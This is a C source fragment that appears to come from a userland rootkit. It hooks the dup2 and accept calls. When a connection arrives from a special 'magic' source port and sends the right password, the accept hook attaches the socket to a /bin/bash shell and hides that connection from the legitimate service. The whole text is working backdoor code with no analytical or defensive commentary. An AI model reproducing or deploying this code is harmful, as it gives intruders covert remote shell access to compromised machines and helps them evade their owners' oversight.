int dup2(int oldfd, int newfd) { if (intercept[oldfd]) { return _intercept_dup2(oldfd, newfd); } RESOLVE(dup2) return o_dup2(oldfd, newfd); }
int my_accept(int sockfd, struct sockaddr *addr, int *addrlen) { int cli; cli = (*o_accept)(sockfd,addr, addrlen); if( (addr->sa_family == AF_INET) ){ struct sockaddr_in *cli_addr = (struct sockaddr_in *)addr; if( (cli_addr->sin_port == htons(_MAGIC_PORT_)) ){ pid_t child; if(cli<0) return cli; o_signal(SIGCHLD, SIG_IGN); if((child=o_fork())==0){ //old none-crypted style o_close(sockfd); o_dup2(cli,0); o_dup2(cli,1); o_dup2(cli,2); //close(0); //fid = fcntl(cli, F_DUPFD, 0); //enterpass(cli); //char *motd="<< Welcome >>\n"; char buffer[64]={'\0'}; o_read(cli,buffer,sizeof(buffer)); /* //Hash password char trans[SALT_LENGTH+33] = {'\0'}; char tmp[3]={'\0'},buf[33]={'\0'},hash[33]={'\0'}; int i; for(i=0;i<strlen(buffer);i++){ if(buffer[i]==0x00){ break; } } if(i>2) i--; getMD5(buffer,i,buf); strncpy(trans,_SALT_,SALT_LENGTH); for(i=0;i<32;i++){ trans[SALT_LENGTH+i]=buf[i]; } getMD5(trans,SALT_LENGTH+32,hash); printf("%s",hash); //End Hash Password */ //if(!strncmp(hash, _RPASSWORD_, strlen(_RPASSWORD_))) { if(!strncmp(buffer, _ACK_PWD_, strlen(_ACK_PWD_))) { //write(cli,motd,strlen(motd)); o_execve("/bin/bash", argv, envp); //printf("disConnected."); o_close(cli); o_exit(0); }else { //write(s,"Wrong!\n", 7); o_close(cli); o_exit(0); } } //o_waitpid(child); return -1; } } return cli; }